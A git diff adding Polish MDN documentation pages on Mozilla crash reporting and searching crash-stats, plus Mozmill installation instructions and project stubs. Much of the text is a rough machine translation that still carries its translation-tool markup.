+
+<p>Crash data submitted using the Mozilla Crash Reporter is located on <a href="http://crash-stats.mozilla.com/">crash-stats</a>. If you want to find a specific crash that you submitted, you first need to find the Crash ID that the server has assigned your crash. Type <code>about:crashes</code> into your location bar to get a page listing both submitted and unsubmitted crash reports. For more information, see <a href="/en-US/docs/How_to_get_a_stacktrace_for_a_bug_report" title="How to get a stacktrace for a bug report">How to get a stacktrace for a bug report</a>.</p>
+
+<h2 id="Reports_and_queries">Reports and queries</h2>
+
+<p>crash-stats has built-in reports of "topcrashes" for each release grouped by signature. There is also a custom query tool which allows users to limit searches on more precise information.</p>
+
+<p>For more automated usage, a summary of each day's crash reports is published as a CSV file, as well as batch analysis jobs. These can be found at <a href="https://crash-analysis.mozilla.com/crash_analysis/">https://crash-analysis.mozilla.com/crash_analysis/</a></p>
+
+<p>Finally, a set of Mozilla employees have access to directly query the underlying data in either SQL summary or using mapreduce on the storage cluster. If you are interested in obtaining this advanced access, contact <a href="mailto:benjamin@smedbergs.us?subject=crash-stats%20access%20query" title="mailto:benjamin@smedbergs.us?subject=crash-stats%20access%20query">Benjamin Smedberg</a>.</p>
+
+<h2 id="Additional_information" name="Additional_information">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Projects/Crash_reporting/Understanding_crash_reports">Understanding crash reports</a></li>
+ <li><a href="/en-US/docs/Mozilla/Projects/Crash_reporting/Searching_crash_reports">A guide to searching crash reports</a></li>
+ <li><a href="http://crash-stats.mozilla.com/">crash-stats</a></li>
+ <li><a href="/en-US/docs/Building_Firefox_with_Debug_Symbols">Building Firefox with Debug Symbols</a></li>
+ <li><a href="/en-US/docs/Environment_variables_affecting_crash_reporting">Environment variables affecting crash reporting</a></li>
+ <li><a href="/en-US/docs/Crash_Reporting_Guide_for_Firefox_OS_Partners" title="/en-US/docs/Crash_Reporting_Guide_for_Firefox_OS_Partners">Crash Reporting Guide for Firefox OS Partners</a></li>
+ <li><a href="/en-US/docs/Uploading_symbols_to_Mozillas_symbol_server" title="/en-US/docs/Uploading_symbols_to_Mozillas_symbol_server">Uploading Symbols to Mozilla's Symbol Server</a> (guide for partners)</li>
+ <li><a href="/en-US/docs/Using_Crash_Reporting_in_a_XULRunner_Application">Using Crash Reporting in a XULRunner Application</a></li>
+</ul>
diff --git a/files/pl/mozilla/projects/crash_reporting/wyszukiwanie_crash_reports/index.html b/files/pl/mozilla/projects/crash_reporting/wyszukiwanie_crash_reports/index.html
new file mode 100644
index 0000000000..0eb155863b
--- /dev/null
+++ b/files/pl/mozilla/projects/crash_reporting/wyszukiwanie_crash_reports/index.html
@@ -0,0 +1,250 @@
+---
+title: Przewodnik po wyszukiwaniu raportów o awariach
+slug: Mozilla/Projects/Crash_reporting/Wyszukiwanie_crash_reports
+translation_of: Mozilla/Projects/Crash_reporting/Searching_crash_reports
+---
+<p>Przed przeczytaniem tej strony przeczytaj dokumentację poszczególnych raportów o awariach.</p>
+
+<p>Strona z statystyką awarii Mozilli zapewnia narzędzia do badania dużej liczby raportów o awariach Firefoksa. Ten przewodnik po przeszukiwaniu raportów o awariach może pomóc w zlokalizowaniu raportów o awariach, które pomogą Ci znaleźć i naprawić błąd przeglądarki Firefox, nad którym pracujesz.</p>
+
+<p>W szczególności statystyki awarii oferuje dwie podstawowe funkcje:</p>
+
+<p>Badawczy<br>
+     Możesz przeszukiwać bazę danych raportów o awariach według ponad 100 kryteriów: podpis awarii, data, platforma, produkt, wersja itp.<br>
+ Grupowanie<br>
+     Możesz grupować wyniki każdego wyszukiwania w grupy przy użyciu tych samych kryteriów.</p>
+
+<p>Uzyskanie pełnej mocy i elastyczności wymaga dobrego zrozumienia obu tych funkcji. Wyszukiwanie jest łatwe do zrozumienia, ale funkcje grupowania są łatwe do przeoczenia.</p>
+
+<p>Badawczy<br>
+ Formularz wyszukiwania</p>
+
+<p>Możesz przejść do strony wyszukiwania, klikając link "Super wyszukiwanie" w pobliżu paska narzędzi w prawym górnym rogu dowolnej strony ze statystykami awarii. Pojawi się formularz wyszukiwania, taki jak na poniższym zrzucie ekranu.</p>
+
+<p> </p>
+
+<p><img alt="Results of a default search in crash-stats" src="https://mdn.mozillademos.org/files/13911/super-search-form.png" style="height: 315px; width: 1140px;"></p>
+
+<p> </p>
+
+<p>Pola są udostępniane dla czterech powszechnych kryteriów wyszukiwania: produktu, wersji, platformy i typu procesu. Pole produktu jest wstępnie wypełnione "Firefox", ponieważ jest to częsty przypadek. Jak pokazuje drobny druk, domyślny zakres dat to ostatni tydzień.</p>
+
+<p>Domyślne wyszukiwanie: facet podpisu</p>
+
+<p>Jeśli klikniesz przycisk "Szukaj", otrzymasz wyniki, takie jak na poniższym zrzucie ekranu.</p>
+
+<p> </p>
+
+<p><img alt="Results of a default search in crash-stats" src="https://mdn.mozillademos.org/files/13913/default-search-results.png" style="height: 869px; width: 1168px;"></p>
+
+<div class="g-unit" id="gt-res-c">
+<div id="gt-res-p">
+<div id="gt-res-data">
+<div id="gt-res-wrap">
+<div id="gt-res-content">
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="pl"><span title='By default, the "Signature facet" tab is selected.'>Domyślnie wybrana jest karta "Podpis wzorca". </span><span title='("Facet" is a term that means "group".) In these results, the found crash reports are grouped according to crash signature and ranked by group size.'>("Facet" to termin oznaczający "grupę".) W tych wynikach znalezione raporty o awariach są pogrupowane według sygnatury awarii i uszeregowane według wielkości grupy. </span><span title="The columns show each group's rank, signature, size (both a count and a proportion of matching crash reports), and finally a list of bugs that have been marked as relating to this signature.
+
+">Kolumny pokazują rangę, podpis, rozmiar (zarówno liczbę, jak i proporcję pasujących raportów o awariach), a wreszcie listę błędów, które zostały oznaczone jako odnoszące się do tego podpisu.</span><br>
+<br>
+<span title="The numbers are large because this search matched all Firefox crash reports from the past seven days.">Liczby są duże, ponieważ to wyszukiwanie pasowało do wszystkich raportów awarii Firefoksa z ostatnich siedmiu dni. </span><span title="The first group has over 100,000 crash reports, which accounts for 7.77% of all matching crashes.">Pierwsza grupa ma ponad 100 000 raportów o awariach, co stanowi 7,77% wszystkich pasujących awarii. </span><span title="This indicates there are over 1.3 million crash reports matching this search.
+
+">Oznacza to, że istnieje ponad 1,3 miliona raportów o awariach pasujących do tego wyszukiwania.</span><br>
+<br>
+<span title="You can reorder the groups in various ways by clicking on the column headers.">Możesz uporządkować grupy na różne sposoby, klikając nagłówki kolumn. </span><span title="The links within the results do the following things.
+
+    ">Łącza w wynikach robią następujące rzeczy.<br>
+<br>
+    </span><span title='The first link in each "Signature" column cell links to a signature report, which contains additional details about crash reports with that signature.
+    '>Pierwsze łącze w każdej komórce kolumny "Podpis" łączy się z raportem podpisu, który zawiera dodatkowe szczegóły dotyczące raportów o awariach z tym podpisem.<br>
+    </span><span title='The "Add term" link in each "Signature" column cell lets you perform a narrower subsequent search among crash reports with that signature.
+    '>Łącze "Dodaj termin" w każdej komórce kolumny "Podpis" pozwala na węższe późniejsze wyszukiwanie wśród raportów o awariach z tym podpisem.<br>
+    </span><span title='The links in each "Bugs" column cell link to bug reports in Bugzilla.
+
+'>Linki w każdym linku do komórki w kolumnie "Błędy" do raportów o błędach w Bugzilli.</span><br>
+<br>
+<span title="The default search: Crash reports
+
+">Domyślne wyszukiwanie: raporty o awariach</span><br>
+<br>
+<span title='If you switch to the "Crash Reports" tab you will see results like the ones in the following screenshot.
+
+'>Jeśli przejdziesz do zakładki "Crash Reports", zobaczysz wyniki podobne do tych na poniższym zrzucie ekranu.</span></span></div>
+</div>
+</div>
+</div>
+</div>
+</div>
+
+<p><img alt="Results of a default search in crash-stats (crash reports tab)" src="https://mdn.mozillademos.org/files/13915/default-search-results2.png"></p>
+
+<p><span id="result_box" lang="pl"><span title="Results of a default search in crash-stats (crash reports tab)
+
+">Wyniki domyślnego wyszukiwania w statystykach awarii (karta raportów awarii)</span><br>
+ <br>
+ <span title="This is a list of all the individual crash reports that match the search criteria.">Jest to lista wszystkich pojedynczych raportów o awariach pasujących do kryteriów wyszukiwania. </span><span title='If the number of matches is large -- in this case it exceeds 1.3 million, just as we saw in the "Signature facet" tab -- the results will be spread across multiple pages, which you can visit by clicking the links at the top'>Jeśli liczba dopasowań jest duża - w tym przypadku przekracza ona 1,3 miliona, tak jak widzieliśmy w zakładce "Podpis wzorca" - wyniki będą rozłożone na wiele stron, które możesz odwiedzić, klikając linki na górze </span><span title="right of the tab.
+
+">po prawej stronie karty.</span><br>
+ <br>
+ <span title="The links within the results do the following things.
+
+    ">Łącza w wynikach robią następujące rzeczy.<br>
+ <br>
+     </span><span title='The link in each "Crash ID" column cell links to an individual crash report.
+    '>Łącze w każdej komórce kolumny "Identyfikator awarii" łączy się z indywidualnym raportem o awarii.<br>
+     </span><span title='The links in each "Signature" column cell have the same effect that they did in the "Signature facet" tab.
+    '>Łącza w każdej komórce kolumny "Podpis" mają ten sam efekt, co w zakładce "Podpis wzorca".<br>
+     </span><span title="The links in the remaining column cells also let you perform a narrower subsequent search with that link's value added to the search criteria.
+
+">Łącza w pozostałych komórkach kolumn pozwalają również na węższe późniejsze wyszukiwanie z wartością tego linku dodaną do kryteriów wyszukiwania.</span><br>
+ <br>
+ <span title="A narrower search
+
+">Węższe wyszukiwanie</span><br>
+ <br>
+ <span title="You can add criteria to perform a narrower search.">Możesz dodać kryteria, aby wykonać węższe wyszukiwanie. </span><span title="For example, to perform a search for all Mac crash reports that occurred while JavaScript garbage collection was running, do the following.
+
+    ">Na przykład, aby wykonać wyszukiwanie wszystkich raportów awarii systemu Mac, które wystąpiły podczas działania modułu czyszczenia pamięci JavaScript, wykonaj następujące czynności.<br>
+ <br>
+     </span><span title='Add "Mac OS X" to the "Platform" field.
+    '>Dodaj "Mac OS X" do pola "Platforma".<br>
+     </span><span title='Select "New line", and then choose a field ("is garbage collecting") and an operator ("is true").'>Wybierz "Nowa linia", a następnie wybierz pole ("jest zbieranie śmieci") i operator ("jest prawdą"). </span><span title="The operators available for each field depends on its type.
+
+">Operatory dostępne dla każdego pola zależą od jego rodzaju.</span><br>
+ <br>
+ <span title="With these criteria added the search form looks like the following screenshot.
+
+">Po dodaniu tych kryteriów formularz wyszukiwania wygląda jak na poniższym zrzucie ekranu.</span></span></p>
+
+<p><img alt="crash-stats Super Search form with additional criteria" src="https://mdn.mozillademos.org/files/13917/super-search-form2.png"></p>
+
+<p><span id="result_box" lang="pl"><span title="crash-stats Super Search form with additional criteria
+
+">crash-stats Super Search z dodatkowymi kryteriami</span><br>
+ <br>
+ <span title='After clicking on "Search" we get results like those in the following screenshot.
+
+'>Po kliknięciu "Szukaj" otrzymamy wyniki takie jak na poniższym zrzucie ekranu.</span></span><br>
+  </p>
+
+<p><img alt="Results of a narrower search in crash-stats" src="https://mdn.mozillademos.org/files/13929/narrower-search-results.png"></p>
+
+<p><span id="result_box" lang="pl"><span title="Results of a narrower search in crash-stats
+
+">Wyniki węższego wyszukiwania w statystykach awarii</span><br>
+ <br>
+ <span title="The number of crash reports matching this search is in the thousands, i.e. much smaller than the previous search.
+">Liczba raportów o awariach odpowiadających temu wyszukiwaniu znajduje się w tysiącach, czyli znacznie mniej niż w poprzednim wyszukiwaniu.</span><br>
+ <span title="Proto signature
+
+">Podpis Proto</span><br>
+ <br>
+ <span title='The "proto signature" field is just the raw unprocessed crash stack concatenated together.
+
+'>Pole "podpis proto" jest tylko nieprzetworzonym nieprzetworzonym stosem awarii połączonym razem.</span><br>
+ <br>
+ <span title="You can do things like:
+
+    ">Możesz zrobić takie rzeczy jak:<br>
+ <br>
+     </span><span title="Search for crashes where the signature is Foo, and the proto signature contains Bar.">Wyszukaj awarie, w których podpis jest Foo, a podpis proto zawiera Bar. </span><span title="This is helpful if you have a fairly generic signature and you want to see how many of them are a particular case of it that you've come across.">Jest to przydatne, jeśli masz dość ogólny podpis i chcesz zobaczyć, ile z nich jest szczególnym przypadkiem, z którym się zetknąłeś. </span><span title="Or instead of a signature Foo, a moz crash reason or something else.
+    ">Lub zamiast podpisu Foo, powodu awarii lub czegoś innego.<br>
+     </span><span title="Use it as a facet.">Użyj go jako aspekt. </span><span title="This lets you skim the full signatures of crashes at a glance, bucketed together a bit.">Pozwala to rzucić okiem na pełne podpisy wypadków na jeden rzut oka, trochę razem. </span><span title="Note that because the proto signature includes the entire signature, things aren't grouped all that well.
+
+">Zauważ, że ponieważ podpis proto zawiera cały podpis, rzeczy nie są pogrupowane aż tak dobrze.</span><br>
+ <br>
+ <span title="Grouping
+
+">Grupowanie</span><br>
+ <br>
+ <span title='In the previous section we saw one example of grouping, in the "Signature facet" tab that is shown by default.'>W poprzedniej sekcji widzieliśmy jeden przykład grupowania w zakładce "Podpis faceta", która jest domyślnie wyświetlana. </span><span title="But there are many other interesting ways to group searches.
+">Ale istnieje wiele innych interesujących sposobów na grupowanie wyszukiwań.</span><br>
+ <span title="Facets in the search form
+
+">Aspekty w formularzu wyszukiwania</span><br>
+ <br>
+ <span title='To do a search with non-signature grouping first click on the "More options..." text, which reveals the additional fields shown in the following screenshot.
+
+'>Aby wykonać wyszukiwanie z grupowaniem bez podpisów, najpierw kliknij tekst "Więcej opcji ...", który pokazuje dodatkowe pola pokazane na poniższym zrzucie ekranu.</span><br>
+ <br>
+ <span title="crash-stats Super Search form with different facets
+
+">crash-stats Super Search z różnymi aspektami</span></span></p>
+
+<p><img alt="crash-stats Super Search form with different facets" src="https://mdn.mozillademos.org/files/13921/super-search-form3.png" style="height: 516px; width: 1036px;"></p>
+
+<p><span id="result_box" lang="pl"><span title='(The "Show columns" and "Sort by" fields are straightforward. They apply to the "Crash reports" tab of any search results, and are not related to grouping.)
+
+'>(Pola "Pokaż kolumny" i "Sortuj według" są proste: mają zastosowanie do karty "Raporty o awariach" wszelkich wyników wyszukiwania i nie są związane z grupowaniem).</span><br>
+ <br>
+ <span title='The "Facet on" field is the one that controls grouping.'>Pole "Facet on" jest tym, które kontroluje grupowanie. </span><span title='By default, it contains the value "signature", which explains why we saw a "Signature facet" tab in the earlier search results.'>Domyślnie zawiera ona wartość "podpis", co wyjaśnia, dlaczego we wcześniejszych wynikach wyszukiwania widzieliśmy kartę "Podpis wzorca". </span><span title="But we can change the values in this field and get different facet tabs in the search results.
+
+">Ale możemy zmienić wartości w tym polu i uzyskać różne karty aspektów w wynikach wyszukiwania.</span><br>
+ <br>
+ <span title="Grouping by platform
+
+">Grupowanie według platformy</span><br>
+ <br>
+ <span title='For example, if we start with a default search for all Firefox crashes in the past week, but then replace the "signature" facet with "platform" and "moz crash reason", we get search results with two facet tabs.'>Na przykład, jeśli zaczniemy od domyślnego wyszukiwania wszystkich awarii Firefoksa w zeszłym tygodniu, ale zastąpimy aspekt "podpisu" słowem "platforma" i "przyczyna krachu moz", otrzymamy wyniki wyszukiwania z dwiema kartami aspektów. </span><span title='The first of these is a "Platform facet" tab, with results like those shown in the following screenshot.
+
+'>Pierwszym z nich jest zakładka "Facility platformy", z wynikami podobnymi do pokazanych na poniższym zrzucie ekranu.</span><br>
+ <br>
+ <span title="Results of a faceted search in crash-stats
+
+">Wyniki fasetowanego wyszukiwania w statystykach awarii</span></span></p>
+
+<p><img alt="Results of a faceted search in crash-stats" src="https://mdn.mozillademos.org/files/13923/facet-search-results.png" style="height: 360px; width: 1094px;"></p>
+
+<p><span id="result_box" lang="pl"><span title='This has the same columns as the "Signature facet" tab we saw earlier, except for the "Bugs" column, because that is a special column that only applies to the signature facet.'>Ma tę samą kolumnę co karta "Podpis wzorca", którą widzieliśmy wcześniej, z wyjątkiem kolumny "Błędy", ponieważ jest to specjalna kolumna, która dotyczy tylko aspektu podpisu. </span><span title="This tab shows the distribution of crash reports across the various platforms.">Ta karta pokazuje rozkład raportów o awariach na różnych platformach. </span><span title="Crash reports always include a platform field (though it may be empty if something has gone wrong) and so the percentages add up to 100.
+">Raporty o awariach zawsze zawierają pole platformy (chociaż może być puste, jeśli coś poszło nie tak), a więc wartości procentowe wynoszą do 100.</span><br>
+ <span title='Grouping by "moz crash reason"
+
+'>Grupowanie według "przyczyny awarii moz"</span><br>
+ <br>
+ <span title='The second facet tab is a "Moz crash reason facet" tab, with results like those shown in the following screenshot.
+
+'>Druga karta aspektów to zakładka "Przyczyna przyczyny awarii", z wynikami podobnymi do pokazanych na poniższym zrzucie ekranu.</span><br>
+ <br>
+ <span title="Results of a faceted search in crash-stats (moz crash reason tab)
+
+">Wyniki wyszukiwania fasetowego w statystykach awarii (karta przyczyny awarii Momo)</span></span></p>
+
+<p><img alt="Results of a faceted search in crash-stats (moz crash reason tab)" src="https://mdn.mozillademos.org/files/13925/facet-search-results2.png" style="height: 589px; width: 1090px;"></p>
+
+<p><br>
+ <span id="result_box" lang="pl"><span title="This immediately shows which MOZ_CRASH calls are being hit frequently by users.">To natychmiast pokazuje, które połączenia MOZ_CRASH są często trafiane przez użytkowników. </span><span title='Only a subset of crash reports have the "moz crash reason" field -- those that crashed due to hitting a MOZ_CRASH call -- so all crashes that lack that field are omitted from this tab.'>Tylko podzbiór raportów o awariach zawiera pole "przyczyna awarii moz" - te, które uległy awarii w wyniku trafienia wywołania MOZ_CRASH - więc wszystkie awarie, których brakuje w tym polu, są pomijane na tej karcie. </span><span title="For that reason, the percentages do not add up to 100.
+">Z tego powodu wartości procentowe nie sumują się do 100.</span><br>
+ <span title="An example of less useful grouping
+
+">Przykład mniej przydatnego grupowania</span><br>
+ <br>
+ <span title="The usefulness of grouping varies from field to field.">Przydatność grupowania zależy od pola. </span><span title="In particular, fields that can have many possible values (such as numeric fields) often don't group well.">W szczególności pola, które mogą mieć wiele możliwych wartości (takich jak pola numeryczne) często nie grupują się dobrze. </span><span title="For example, if we do a default search grouped by uptime we get results like those in the following screenshot.">Na przykład, jeśli wykonamy domyślne wyszukiwanie pogrupowane według czasu działania, otrzymamy wyniki takie jak na poniższym zrzucie ekranu.</span></span></p>
+
+<p><img alt="Results of a faceted search in crash-stats (uptime)" src="https://mdn.mozillademos.org/files/13927/facet-search-results3.png" style="height: 545px; width: 1091px;"></p>
+
+<p><span id="result_box" lang="pl"><span title="In this example the top 10 groups account for less than 12% of all crashes, and there is an extremely long tail.">W tym przykładzie 10 najczęstszych grup stanowi mniej niż 12% wszystkich awarii, a ponadto występuje bardzo długi ogon. </span><span title="These results would be improved by using numeric ranges instead of individual values, but unfortunately that isn't supported.
+">Wyniki te zostałyby poprawione przy użyciu zakresów numerycznych zamiast poszczególnych wartości, ale niestety nie jest to obsługiwane.</span><br>
+ <span title="Advanced Usage
+
+">Zaawansowane użycie</span><br>
+ <br>
+ <span title="The combination of searching and grouping is powerful.">Połączenie wyszukiwania i grupowania jest potężne. </span><span title="Searches find crash reports that match particular criteria, and grouping organizes those crash reports into interesting groups.
+
+">Wyszukiwania znajdują raporty o awariach pasujące do określonych kryteriów, a grupowanie porządkuje te raporty o awariach w interesujące grupy.</span><br>
+ <br>
+ <span title="When a search is performed, the page's URL is updated to include the search parameters.">Po przeprowadzeniu wyszukiwania adres URL strony jest aktualizowany w celu uwzględnienia parametrów wyszukiwania. </span><span title="This means that the results of any search can be easily shared by copying and pasting the page's URL.
+
+">Oznacza to, że wyniki każdego wyszukiwania można łatwo udostępnić, kopiując i wklejając adres URL strony.</span><br>
+ <br>
+ <span title="To become an expert at searching and grouping requires understanding the full range of the 100+ fields available for searching and grouping.">Aby stać się ekspertem w wyszukiwaniu i grupowaniu, musisz poznać pełny zakres ponad 100 dostępnych pól do wyszukiwania i grupowania. </span><span title="One way to learn about them is to read lots of individual crash reports;">Jednym ze sposobów na poznanie ich jest przeczytanie wielu pojedynczych raportów o wypadkach; </span><span title="note that all fields shown in the Details tab of an individual crash report have a tool-tip that indicates its key for search.">Zwróć uwagę, że wszystkie pola widoczne na karcie Szczegóły w pojedynczym raporcie o awarii zawierają wskazówkę, która wskazuje klucz do wyszukiwania. </span><span title="Alternatively, you can browse the complete list.
+
+">Możesz także przejrzeć kompletną listę.</span><br>
+ <br>
+ <span title="There is also an API through which searches can be performed programmatically.">Istnieje również interfejs API, za pomocą którego można programowo przeprowadzać wyszukiwanie. </span><span title="See the API documentation for full details;">Zobacz pełną dokumentację dokumentacji API; </span><span title='note that it uses the term "aggregation" for grouping/faceting.
+'>zauważ, że używa terminu "agregacja" do grupowania / faceting.</span><br>
+ <span title="Polski translation:
+">Tłumaczenie polskie:</span><br>
+ <span title="Need Help?">Potrzebuję pomocy? </span><span title="• Editor Guide • Style Guide
+">• Przewodnik redaktora • Przewodnik po stylach</span><br>
+ <span title="You have a draft from: 27.12.2017 03:18:03.
+">Masz wersję roboczą: 27.12.2017 03:18:03.</span><br>
+ <span title="Draft autosaved: 27.12.2017 06:00:25">Automatycznie zapisano wersję roboczą: 27.12.2017 06:00:25</span></span></p>
diff --git a/files/pl/mozilla/projects/index.html b/files/pl/mozilla/projects/index.html
new file mode 100644
index 0000000000..6291137b31
--- /dev/null
+++ b/files/pl/mozilla/projects/index.html
@@ -0,0 +1,14 @@
+---
+title: Projects
+slug: Mozilla/Projects
+tags:
+ - Mozilla
+ - NeedsContent
+ - NeedsTranslation
+ - Projects
+ - TopicStub
+translation_of: Mozilla/Projects
+---
+<p>{{ draft() }}</p>
+<p>This page needs to become a pretty index to Mozilla projects whose documentation is located under it.</p>
+<p>{{ LandingPageListSubpages() }}</p>
diff --git a/files/pl/mozilla/projects/mozmill/index.html b/files/pl/mozilla/projects/mozmill/index.html
new file mode 100644
index 0000000000..e43b89333f
--- /dev/null
+++ b/files/pl/mozilla/projects/mozmill/index.html
@@ -0,0 +1,52 @@
+---
+title: Mozmill
+slug: Mozilla/Projects/Mozmill
+translation_of: Mozilla/Projects/Mozmill
+---
+<p><span id="result_box" lang="pl"><span class="hps">MozMill</span> <span class="hps">jest narzędziem</span> i frameworkiem <span class="hps">do pisania</span> <span class="hps">testów automatycznych</span> <span class="hps">dla aplikacji</span> <span class="hps">opartych na</span> <span class="hps">Gecko</span> <span class="hps">(Firefox</span><span>,</span> <span class="hps">Thunderbird</span><span>,</span> <span class="hps">Songbird</span><span>,</span> <span class="hps">itp</span><span>)</span><span>.</span> <span class="hps">Jest on zbudowany</span> <span class="hps">jako</span> <span class="hps">klienta wiersza poleceń</span><span>, aby</span> <span class="hps">umożliwić </span><span class="hps">testowanie i</span> <span class="hps">debugowanie.</span> <span class="hps">MozMill</span> <span class="hps">posiada bogate</span> <span class="hps">API</span><span>, które pomogą Ci</span> <span class="hps">napisać</span> <span class="hps">testy funkcjonalne</span><span>, które symulują</span> <span class="hps">interakcje użytkownika</span><span>, jak również</span> <span class="hps">API do testów jednostowkych</span><span class="hps">.</span></span></p>
+<p>The <a class="link-https" href="https://wiki.mozilla.org/QA/Mozmill_Test_Automation" title="https://wiki.mozilla.org/QA/Mozmill_Test_Automation">Mozmill test automation project</a> has been started in January 2009 and covers the automation work for Firefox. Checkout the <a class="link-https" href="https://wiki.mozilla.org/QA/Mozmill_Test_Automation" title="https://wiki.mozilla.org/QA/Mozmill_Test_Automation">project page</a> or have a look at the <a href="/en/Mozmill_Tests" title="en/Mozmill Tests">Mozmill Tests</a> documentation to get an impression how to contribute in writing and running Mozmill tests. Existing tests get run in the <a href="/en/Mozmill/Release_Testing" title="en/Mozmill/Release Testing">release testing</a> cycle for new major or security releases of Firefox.</p>
+<p>Also the Mozilla Messaging team has an active project which handles <a href="/en/Thunderbird/Thunderbird_MozMill_Testing" title="en/Thunderbird/Thunderbird MozMill Testing">Thunderbird Testing with Mozmill</a>.</p>
+<div class="note">
+ <p>If you have questions or issues with Mozmill you might want to send us an email to the <a href="http://groups.google.com/group/mozmill-dev?pli=1" title="http://groups.google.com/group/mozmill-dev?pli=1">mozmill-dev mailing list</a>. For bugs please submit a ticket on <a href="https://bugzilla.mozilla.org" title="https://bugzilla.mozilla.org">bugzilla.mozilla.org</a> under the <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing&amp;component=Mozmill" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing&amp;component=Mozmill">Testing/Mozmill component</a>.</p>
+</div>
+<h2 id="Installation">Installation</h2>
+<p>Mozmill is a Python package hosted on <a href="http://pypi.python.org/pypi/mozmill" title="http://pypi.python.org/pypi/mozmill">PyPI</a>. It can be installed by using <a class="external" href="http://pypi.python.org/pypi/pip" title="http://pypi.python.org/pypi/pip">pip</a> or <a class="external" href="http://pypi.python.org/pypi/setuptools" title="http://pypi.python.org/pypi/setuptools">setuptools</a> (easy_install).</p>
+<h3 id="Windows">Windows</h3>
+<p>The simpliest way to have Mozmill running on Windows is by getting this <a href="http://mozqa.com/mozmill-env/" title="http://mozqa.com/mozmill-env/">mozmill-env</a> archive. Just extract it and run cmd.run every time you need to use Mozmill. It will open a Unix-like console that will already have Mozmill installed.</p>
+<h3 id="Mac_OS_X">Mac OS X</h3>
+<p>If you are running Mac OS X 10.4 you have to download and install at least Python 2.5 from <a class="external" href="http://python.org/download/">python.org</a> first. Afterward, install Mozmill with the setuptools.</p>
+<pre>$ curl -O https://bitbucket.org/pypa/setuptools/raw/bootstrap/ez_setup.py
+$ sudo python ez_setup.py
+$ sudo easy_install pip
+$ sudo pip install mozmill</pre>
+<h3 id="Debian-like_GNU-Linux_distributions_(Debian_Ubuntu_etc.)">Debian-like GNU-Linux distributions (Debian, Ubuntu, etc.)</h3>
+<p>To install Mozmill on Ubuntu you only have to run two commands in the terminal:</p>
+<pre>$ sudo apt-get install python-pip
+$ sudo pip install mozmill</pre>
+<h2 id="Mozmill_versions">Mozmill versions</h2>
+<p>You can find out your Mozmill version by running:</p>
+<pre>$ mozmill --v
+</pre>
+<p>The current stable version of Mozmill is 2.0. Most likely you have installed this version with the above steps. If the bug you're working on does not require 2.0, then please run the following command, to get the last version of the 1.5 branch:</p>
+<pre>$ sudo pip install --upgrade mozmill==1.5.24
+</pre>
+<p>For development of Mozmill 2.0, we advise you to use a virtual environment and to follow <a href="https://github.com/mozilla/mozmill" title="https://github.com/mozilla/mozmill">these steps</a>.</p>
+<h2 id="See_also">See also</h2>
+<p>We have a few other pages to help you get the most out of Mozmill.  You might want to bookmark these for reference later.</p>
+<ul>
+ <li><a href="/en/Mozmill_Tests" title="https://developer.mozilla.org/en/Mozmill_Tests">Mozmill tests for Firefox</a>  - how to run the Mozmill tests for Firefox</li>
+ <li><a href="/en/Mozmill/Using_The_Driver" title="https://developer.mozilla.org/en/Mozmill/Using_the_Driver">Using the Driver</a> - how to use Mozmill's driver in your extension without having to worry about the test harness bits.</li>
+</ul>
+<h3 id="References">References</h3>
+<ul>
+ <li><a href="/en/Mozmill/Mozmill_Controller_Object" title="en/Mozmill/Mozmill Controller Object">controller object reference</a></li>
+ <li><a href="/en/Mozmill/Mozmill_Elements_Library_Object" title="en/Mozmill/Mozmill Elements Library Object">elementslib object reference</a> (deprecated in Mozmill 2.0 - see <a href="/en/Mozmill/Finding_Mozmill_Elements" title="Finding_Mozmill_Elements">finding mozmill elements</a>)</li>
+ <li><a href="/en/Mozmill/Mozmill_Element_Object" title="element object reference">element object reference</a> (Mozmill 2.0+)</li>
+ <li><a href="/en/Mozmill/Finding_Mozmill_Elements" title="Finding Mozmill Elements">finding mozmill elements</a> (Mozmill 2.0+)</li>
+ <li><a href="/en/Mozmill/Mozmill_Base_Object_Interfaces" title="en/Mozmill Tests/Mozmill Base Object Interfaces">mozmill object reference</a></li>
+ <li><a class="external" href="/en/Mozmill/Mozmill_Unit_Test_Framework" title="https://developer.mozilla.org/en/Mozmill/Mozmill_Unit_Test_Framework">unit test API reference </a><span class="external">(dropped in Mozmill 2.0 - use the <a class="link-https" href="https://github.com/mozautomation/mozmill/blob/master/mozmill/mozmill/extension/resource/modules/assertions.js" title="https://github.com/mozautomation/mozmill/blob/master/mozmill/mozmill/extension/resource/modules/assertions.js">assertions API</a> instead)</span></li>
+ <li><a href="/en/Mozmill/Mozmill_Element_Object/Extending_the_MozMill_element_hierarchy" title="https://developer.mozilla.org/en/Mozmill/Mozmill_Element_Object/Extending_Element_Hierarchy">extending the element hierarchy</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozmill_Tests/Shared_Modules">Mozmill shared modules</a></li>
+</ul>
+<h2 id="Bugs">Bugs</h2>
+<p>Mozmill is still in development, like most test systems in the Mozilla project. If you think you've found a bug, please check the list of <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;component=JSBridge&amp;component=Mozmill&amp;component=MozRunner&amp;product=Testing" title="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;component=JSBridge&amp;component=Mozmill&amp;component=MozRunner&amp;product=Testing">existing bugs</a>. If your found bug is not listed there, please <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing">file a new bug</a> under the "<code>Testing</code>" Product and "<code>Mozmill</code>" Component. Please provide as much as possible details and attach the Mozmill test if available, which shows the problem. Thanks for filing!</p>
diff --git a/files/pl/mozilla/projects/nss/index.html b/files/pl/mozilla/projects/nss/index.html
new file mode 100644
index 0000000000..718314f916
--- /dev/null
+++ b/files/pl/mozilla/projects/nss/index.html
@@ -0,0 +1,198 @@
+---
+title: Network Security Services
+slug: Mozilla/Projects/NSS
+tags:
+ - JSS
+ - NSS
+ - NeedsMigration
+ - NeedsTranslation
+ - TopicStub
+translation_of: Mozilla/Projects/NSS
+---
